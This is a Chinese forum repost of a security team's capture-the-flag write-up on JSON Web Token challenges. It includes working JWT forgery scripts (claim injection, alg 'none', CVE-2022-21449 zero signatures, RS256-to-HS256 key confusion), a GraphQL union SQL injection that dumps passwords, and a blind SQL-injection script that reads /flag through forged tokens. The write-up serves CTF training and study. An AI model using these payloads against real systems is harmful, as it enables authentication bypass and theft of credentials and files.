本帖最后由 Meng0f 于 2023-1-11 19:18 编辑
转载于: tale Tide安全团队 2023-01-11 17:03 发表于山东
JWT相关题目刷题
FunWEB
打开题目为登录界面
注册账号后可登录
- <span role="presentation" style="box-sizing: border-box; padding-right: 0.1px;">from datetime import timedelta</span>
- <span role="presentation" style="box-sizing: border-box; padding-right: 0.1px;">from json import loads, dumps</span>
- <span role="presentation" style="box-sizing: border-box; padding-right: 0.1px;">from jwcrypto.common import base64url_decode, base64url_encode</span>
- <span role="presentation" style="box-sizing: border-box; padding-right: 0.1px;"><span cm-text="" style="box-sizing: border-box;"></span></span>
- <span role="presentation" style="box-sizing: border-box; padding-right: 0.1px;">def topic(topic):</span>
- <span role="presentation" style="box-sizing: border-box; padding-right: 0.1px;"> """ Use mix of JSON and compact format to insert forged claims including long expiration """</span>
- <span role="presentation" style="box-sizing: border-box; padding-right: 0.1px;"> [header, payload, signature] = topic.split('.')</span>
- <span role="presentation" style="box-sizing: border-box; padding-right: 0.1px;"> parsed_payload = loads(base64url_decode(payload))</span>
- <span role="presentation" style="box-sizing: border-box; padding-right: 0.1px;"> parsed_payload['is_admin'] = 1</span>
- <span role="presentation" style="box-sizing: border-box; padding-right: 0.1px;"> parsed_payload['exp'] = 2000000000</span>
- <span role="presentation" style="box-sizing: border-box; padding-right: 0.1px;"> fake_payload = base64url_encode((dumps(parsed_payload, separators=(',', ':'))))</span>
- <span role="presentation" style="box-sizing: border-box; padding-right: 0.1px;"> return '{" ' + header + '.' + fake_payload + '.":"","protected":"' + header + '", "payload":"' + payload + '","signature":"' + signature + '"}'</span>
- <span role="presentation" style="box-sizing: border-box; padding-right: 0.1px;">token = topic('eyJhbGciOiJQUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE2NjcxMzcwMzAsImlhdCI6MTY2NzEzNjczMCwiaXNfYWRtaW4iOjAsImlzX2xvZ2luIjoxLCJqdGkiOiJ4YWxlR2dadl9BbDBRd1ZLLUgxb0p3IiwibmJmIjoxNjY3MTM2NzMwLCJwYXNzd29yZCI6IjEyMyIsInVzZXJuYW1lIjoiMTIzIn0.YnE5tK1noCJjultwUN0L1nwT8RnaU0XjYi5iio2EgbY7HtGNkSy_pOsnRl37Y5RJvdfdfWTDCzDdiz2B6Ehb1st5Fa35p2d99wzH4GzqfWfH5zfFer0HkQ3mIPnLi_9zFiZ4mQCOLJO9RBL4lD5zHVTJxEDrESlbaAbVOMqPRBf0Z8mon1PjP8UIBfDd4RDlIl9wthO-NlNaAUp45woswLe9YfRAQxN47qrLPje7qNnHVJczvvxR4-zlW0W7ahmYwODfS-KFp8AC80xgMCnrCbSR0_Iy1nsiCEO8w2y3BEcqvflOOVt_lazJv34M5e28q0czbLXAETSzpvW4lVSr7g')</span>
- <span role="presentation" style="box-sizing: border-box; padding-right: 0.1px;">print(token)</span>
复制代码
生成token - eyJhbGciOiJQUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE2NjcxMDc2NTgsImlhdCI6MTY2NzEwNzM1OCwiaXNfYWRtaW4iOjEsImlzX2xvZ2luIjoxLCJqdGkiOiJ1aTVrcDdGMmJNMGYwYXY2cVpSRTJ3IiwibmJmIjoxNjY3MTA3MzU4LCJwYXNzd29yZCI6ImEiLCJ1c2VybmFtZSI6ImEiLCJzdWIiOiJib2IifQ.a-ALRvRlYuUfThbfYfHuUqlH75vv-LynOZBxeUc_XbIKwNrEFk3aa2xr1HfdfwFFiKKZ75yVnWY8KBH-RHQdmj7igHMDPqgwDiM5qi7fkLwyVX36cRyj79NQiiMAmyVAlrC4BaIA8EblhS1BvKecNgf1kGf6Ujyg9NtJfx6cSTbr0u-hdZ6vVH7AA_9W_-vMxBE-H10oquc4j4WRIGaossZByZp6Fy5NpPqUD9t3jZsPNU4CugHR947b0sVWJ964uaXAe8IJTGA8S6hM5NirbHDEr0qboE4dCNnV-pmbs7ENpNhfI9eTMDE6Xm0mGO94sChHicBY4pEvW7NYX23yPQ
复制代码
然后用该token访问 /getflag 提示只有正确的密码才能读取flag,然后点击查看成绩, 发现是graphql查询 使用getscoreusingid 然后尝试发现id不能直接注入,然后尝试使用getscoreusingname 根据提示改成getscoreusingnamehahaha 使用union进行注入,发现为sqlite数据库, 在sqlite_master表中查到表名为users, 猜字段为password - { getscoreusingnamehahaha(name: "1' union select group_concat(password) from users --"){ name score } }
复制代码
使用admin的账号和密码去登录, 访问/getflag即可获取flag
Anmic
运行该APP发现需要输入账号和密码 使用jadx查看代码,发现账号为admin 密码是admin的md5的8到24位,为7a57a5a743894a0e 登录成功得到加密图⽚和下⼀步提示:查看assets 反编译该APP后发现存在加密的flag.zip和dex文件 分析dex⽂件,得到加密后的图⽚所在路径 sic/res/drawable/encode.jpg 加密算法是先将图⽚的像素矩阵进⾏⽔平镜像转换, 然后循环将图⽚前⾯的像素点后⾯的像素点RGB按下⾯⽅式对调。 解密脚本: 完成图片如下: 提取字符串 - eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIwODA2NyIsImF1ZCI6IkRTVEJQIiwiaWF0IjoxNjY1MTExODg5LjYwMTY5MjQsImhpbnQiOiJUaGUgU2lnbmF0dXJlJ3MgYmFzZTY0IGlzIFppcCdzIFBhc3N3b3JkIiwiZXhwIjoxNjk2NjQ3ODg5LjYwMTY5MjR9.fBPoMQprLZF280c7jazIApJC4m0PX_Cx9_UnNMGZIP0
复制代码
解密后提示密钥的base64是压缩包密码,⽤c-jwt-cracker-master爆破出密码。 W1lm base64编码:VzFsbQ== 使用该密码解压flag.zip 得到一个flag图片和一个class文件 根据提示,查看该图片详细信息发现base编码的anBocw== 解出为jphs 然后分析pwEncode.class文件,发现为维吉尼亚密码算法,其中密钥为mllw 密文为pdexbdlueesabldoizczudmlfdo 也可以写脚本进行爆破 - <span role="presentation" style="box-sizing: border-box; padding-right: 0.1px;">import string</span>
- <span role="presentation" style="box-sizing: border-box; padding-right: 0.1px;"><span cm-text="" style="box-sizing: border-box;"></span></span>
- <span role="presentation" style="box-sizing: border-box; padding-right: 0.1px;">def _enc(c,index):</span>
- <span role="presentation" style="box-sizing: border-box; padding-right: 0.1px;"> key = 'mllw'</span>
- <span role="presentation" style="box-sizing: border-box; padding-right: 0.1px;"> if c.isupper():</span>
- <span role="presentation" style="box-sizing: border-box; padding-right: 0.1px;"> return chr((ord(c)+ord(key[index%4].upper())-130)%26+65)</span>
- <span role="presentation" style="box-sizing: border-box; padding-right: 0.1px;"> else:</span>
- <span role="presentation" style="box-sizing: border-box; padding-right: 0.1px;"> return chr((ord(c)+ord(key[index%4].lower())-194)%26+97)</span>
- <span role="presentation" style="box-sizing: border-box; padding-right: 0.1px;"> </span>
- <span role="presentation" style="box-sizing: border-box; padding-right: 0.1px;">enc = 'pdexbdlueesabldoizczudmlfdo'</span>
- <span role="presentation" style="box-sizing: border-box; padding-right: 0.1px;">table = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'</span>
- <span role="presentation" style="box-sizing: border-box; padding-right: 0.1px;">res = ''</span>
- <span role="presentation" style="box-sizing: border-box; padding-right: 0.1px;">for i in range(len(enc)):</span>
- <span role="presentation" style="box-sizing: border-box; padding-right: 0.1px;"> for j in table:</span>
- <span role="presentation" style="box-sizing: border-box; padding-right: 0.1px;"> if _enc(j,i) == enc[i]:</span>
- <span role="presentation" style="box-sizing: border-box; padding-right: 0.1px;"> res+=j</span>
- <span role="presentation" style="box-sizing: border-box; padding-right: 0.1px;">print(enc)</span>
复制代码
解密为dstbpsaysthepasswordisbptsd 用jphs来解,密码为:bptsd 成功获取flag
myJWT
下载源码,发现ECDSA以及JWT相关的算法
通过搜索ECDSA算法漏洞发现CVE-2022-21449 查看该漏洞描述,发现java的ECDSA算法中在取出sig中的r和s之后,并没有对r和s的范围进行校验,而且在拿到点p1之后也没有校验是否为无穷远点,从而可以利用(0,0)签名来绕过签名的验证。然后连接靶机nc 427.104.76.78 23334 输入用户名后获取token
生成token如下:
- eyJ0eXAiOiJKV1QiLCJhbGciOiJteUVTIn0=.eyJpc3MiOiJxd2IiLCJuYW1lIjoiQUFBIiwiYWRtaW4iOmZ hbHNlLCJleHAiOjE2NTkyNjYzMDY0MzN9.UizgMNJBMNy0T2eUc-GuYKMRBzDTrH2- faB7v06bfv2qbySyDHrXGVFPTJA2wIOZGXovwr-7XzIOTSIk-USTj9bl4HkLCKOVwckxCk0bGgzPX8Sz3r-f82Rv4wBkn9x5
复制代码
根据CVE-2022-21449漏洞特性,拿到token,拿到之后对token进行伪造,将第二段中"admin": false改为true
- eyJpc3MiOiJxd2IiLCJuYW1lIjoiQUFBIiwiYWRtaW4iOmZ hbHNlLCJleHAiOjE2NTkyNjYzMDY0MzN9
复制代码
第三段使用\x00填充,构建payload如下
- <pre spellcheck="false" class="md-fences md-end-block ty-contain-cm modeLoaded" lang="" cid="n955" mdtype="fences" style="box-sizing: border-box; overflow: visible; font-family: var(--monospace); font-size: 0.9em; break-inside: avoid; white-space: normal; background-image: inherit; background-position: inherit; background-size: inherit; background-repeat: inherit; background-attachment: inherit; background-origin: inherit; background-clip: inherit; background-color: rgb(248, 248, 248); border: 1px solid rgb(231, 234, 237); border-radius: 3px; padding: 8px 4px 6px; margin-bottom: 15px; margin-top: 15px; width: inherit; color: rgb(51, 51, 51); position: relative !important;"><span role="presentation" style="box-sizing: border-box; padding-right: 0.1px;">eyJ0eXAiOiJKV1QiLCJhbGciOiJteUVTIn0=.eyJpc3MiOiJxd2IiLCJuYW1lIjoiQUFBIiwiYWRtaW4iOnRydWllLCJleHAiOjE2NTkyNjYzMDY0MzN9.00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000</span></pre><p cid="n956" mdtype="paragraph" class="md-end-block md-p" style="box-sizing: border-box; line-height: inherit; orphans: 4; margin-top: 0.8em; margin-bottom: 0.8em; white-space: pre-wrap; position: relative; color: rgb(51, 51, 51); font-family: " open="" sans",="" "clear="" "helvetica="" neue",="" helvetica,="" arial,="" sans-serif;="" font-size:="" 16px;"=""></p>
复制代码
然后选择????????2发送payload????????????????即可获取flag
js_on
打开发现靶机页面
使用admin/admin登录发现获取到相关信息
然后通过注册账号对比不同
然后查看cookie发现token字段,且为JWT格式,说明该系统通过JWT来标识用户,联想到页面上显示的key值为JWT的token
通过页面对当前用户进行了判断,从而决定页面输出内容,因此猜测user字段存在sql注入漏洞。https://jwt.io/#debugger 右下角填入secret(即页面上回显的key值),此处user参数肯定为字符型,开始构造攻击语句,左边获取对应JWT。
将构造好的token替换发包 攻击payload1:
- {
- “user”: “admin’//and//1=2#”,
- “news”: “key:xRtYMDqyCCxYxi9a@LgcGpnmM2X8i&6"
- }
复制代码
攻击payload2: - {
- “user”: “admin’//and//1=1#”,
- “news”: "key:xRtYMDqyCCxYxi9a@LgcGpnmM2X8i&6”
- }
复制代码
发现两个页面不同的响应,从而确认此处存在sql注入漏洞。构造攻击代码:“user”: "aa’-- “和"user”: "'select"获取对应JWT,发送请求包发现回包存在“Get Out Hacker!!!”字样,说明后端有做攻击检测。结合之前回包的“这里是你的信息:???Why there is No Message for you?” 通过substr+loadfile函数,获取/flag文件中内容,构造python利用脚本如下: - import jwt
- import requests
- url = 'http://xxx.changame.ichunqiu.com/'
- data = ''
- dict = '0123456789abcdeflg-{}'
- for i in range(1, 60):
- for j in dict:
- encoded_jwt = jwt.encode({"user":"admin'/**/and/**/load_file('/flag')/**/regexp/**/'^" + data + j + "'#","news":"key:xRt*YMDqyCCxYxi9a@LgcGpnmM2X8i&6"},'xRt*YMDqyCCxYxi9a@LgcGpnmM2X8i&6',headers={"alg":"HS256","typ":"jwt"})
- cookies = {
- 'UM_distinctid':'',
- 'Hm_lvt_2d0601bd28de7d49818249cf35d95943':'',
- '__jsluid_h':'',
- 'token':encoded_jwt
- }
- try:
- res = requests.get(url=url,cookies=cookies,timeout=3)
- if 'xRt*YMDqyCCxYxi9a@LgcGpnmM2X8i&6' in res.content:
- data += j
- print(str(data))
- break
- except Exception as e:
- print(str(e))
复制代码
web345
访问靶机后查看源代码,发现提示/admin
base64解密Cookie信息并将user改成admin后生成base64编码
访问即可获取flag
web346
在web345题目的基础上将获取的cookie进行jwt解码
将user改成admin,密钥尝试123456
发送获取flag
web347
和web346类似,使用脚本爆破密钥
- import time
- import jwt
- # payload
- token_dict = {
- "iss": "admin",
- "iat": 1610432484,
- "exp": 1610439684,
- "nbf": 1610432484,
- "sub": "admin",
- "jti": "efec0205f601a537847ee2dd3ffa81ff"
- }
- # headers
- headers = {
- "alg": "none",
- "typ": "JWT"
- }
- jwt_token = jwt.encode(token_dict, # payload, 有效载体
- key='',
- headers=headers, # json web token 数据结构包含两部分, payload(有效载体), headers(标头)
- algorithm="none", # 指明签名算法方式, 默认也是HS256
- ).decode('ascii') # python3 编码后得到 bytes, 再进行解码(指明解码的格式), 得到一个str
- print(jwt_token)
复制代码
web348
利用jwt爆破攻击爆破
web349
题目给出app.js文件,发现私钥泄露
访问发现提示500
根据app.js文件提示访问/private.key得到私钥 然后自己本地搭建nodejs,并将私钥放到public目录下
将app.js文件中的user: 'user'改成user: 'admin' 然后替换保存运行npm start。需要安装jsonwebtoken库npm install jsonwebtoken --save并在代码里声明 - var fs = require('fs');
- var jwt = require('jsonwebtoken');
- var express = require('express');
- var router = express.Router();
- /* GET home page. */
- router.get('/', function(req, res, next) {
- res.type('html');
- var privateKey = fs.readFileSync(process.cwd()+'//public//private.key');
- var token = jwt.sign({ user: 'admin' }, privateKey, { algorithm: 'RS256' });
- res.cookie('auth',token);
- res.end('where is flag?');
-
- });
- router.post('/',function(req,res,next){
- var flag="flag_here";
- res.type('html');
- var auth = req.cookies.auth;
- var cert = fs.readFileSync(process.cwd()+'//public/public.key'); // get public key
- jwt.verify(auth, cert, function(err, decoded) {
- if(decoded.user==='admin'){
- res.end(flag);
- }else{
- res.end('you are not admin');
- }
- });
- });
复制代码
然后访问搭建的页面,获取cookie值,使用post提交即可获取flag
web350
题目给出了源码包
通过查看源码发现公钥和私钥都是从routes目录下加载
通过尝试访问/private.key获取失败,访问/public.key成功公钥 因获取到了公钥,猜测为对称加密,所以将RS256改为HS256 - <span role="presentation" style="box-sizing: border-box; padding-right: 0.1px;">var fs = require('fs');</span>
- <span role="presentation" style="box-sizing: border-box; padding-right: 0.1px;">var jwt = require('jsonwebtoken');</span>
- <span role="presentation" style="box-sizing: border-box; padding-right: 0.1px;">var express = require('express');</span>
- <span role="presentation" style="box-sizing: border-box; padding-right: 0.1px;">var router = express.Router();</span>
- <span role="presentation" style="box-sizing: border-box; padding-right: 0.1px;"><span cm-text="" style="box-sizing: border-box;"></span></span>
- <span role="presentation" style="box-sizing: border-box; padding-right: 0.1px;">/* GET home page. */</span>
- <span role="presentation" style="box-sizing: border-box; padding-right: 0.1px;">router.get('/', function(req, res, next) {</span>
- <span role="presentation" style="box-sizing: border-box; padding-right: 0.1px;"> res.type('html');</span>
- <span role="presentation" style="box-sizing: border-box; padding-right: 0.1px;"> var privateKey = fs.readFileSync(process.cwd()+'//public//private.key');</span>
- <span role="presentation" style="box-sizing: border-box; padding-right: 0.1px;"> var token = jwt.sign({ user: 'admin' }, privateKey, { algorithm: 'HS256' });</span>
- <span role="presentation" style="box-sizing: border-box; padding-right: 0.1px;"> res.cookie('auth',token);</span>
- <span role="presentation" style="box-sizing: border-box; padding-right: 0.1px;"> res.end('where is flag?');</span>
- <span role="presentation" style="box-sizing: border-box; padding-right: 0.1px;"> </span>
- <span role="presentation" style="box-sizing: border-box; padding-right: 0.1px;">});</span>
- <span role="presentation" style="box-sizing: border-box; padding-right: 0.1px;"><span cm-text="" style="box-sizing: border-box;"></span></span>
- <span role="presentation" style="box-sizing: border-box; padding-right: 0.1px;">router.post('/',function(req,res,next){</span>
- <span role="presentation" style="box-sizing: border-box; padding-right: 0.1px;"> var flag="flag_here";</span>
- <span role="presentation" style="box-sizing: border-box; padding-right: 0.1px;"> res.type('html');</span>
- <span role="presentation" style="box-sizing: border-box; padding-right: 0.1px;"> var auth = req.cookies.auth;</span>
- <span role="presentation" style="box-sizing: border-box; padding-right: 0.1px;"> var cert = fs.readFileSync(process.cwd()+'//public/public.key'); // get public key</span>
- <span role="presentation" style="box-sizing: border-box; padding-right: 0.1px;"> jwt.verify(auth, cert, function(err, decoded) {</span>
- <span role="presentation" style="box-sizing: border-box; padding-right: 0.1px;"> if(decoded.user==='admin'){</span>
- <span role="presentation" style="box-sizing: border-box; padding-right: 0.1px;"> res.end(flag);</span>
- <span role="presentation" style="box-sizing: border-box; padding-right: 0.1px;"> }else{</span>
- <span role="presentation" style="box-sizing: border-box; padding-right: 0.1px;"> res.end('you are not admin');</span>
- <span role="presentation" style="box-sizing: border-box; padding-right: 0.1px;"> }</span>
- <span role="presentation" style="box-sizing: border-box; padding-right: 0.1px;"> });</span>
- <span role="presentation" style="box-sizing: border-box; padding-right: 0.1px;">});</span>
复制代码
利用该漏洞,访问搭建的页面,获取cookie值,使用post提交即可获取flag
|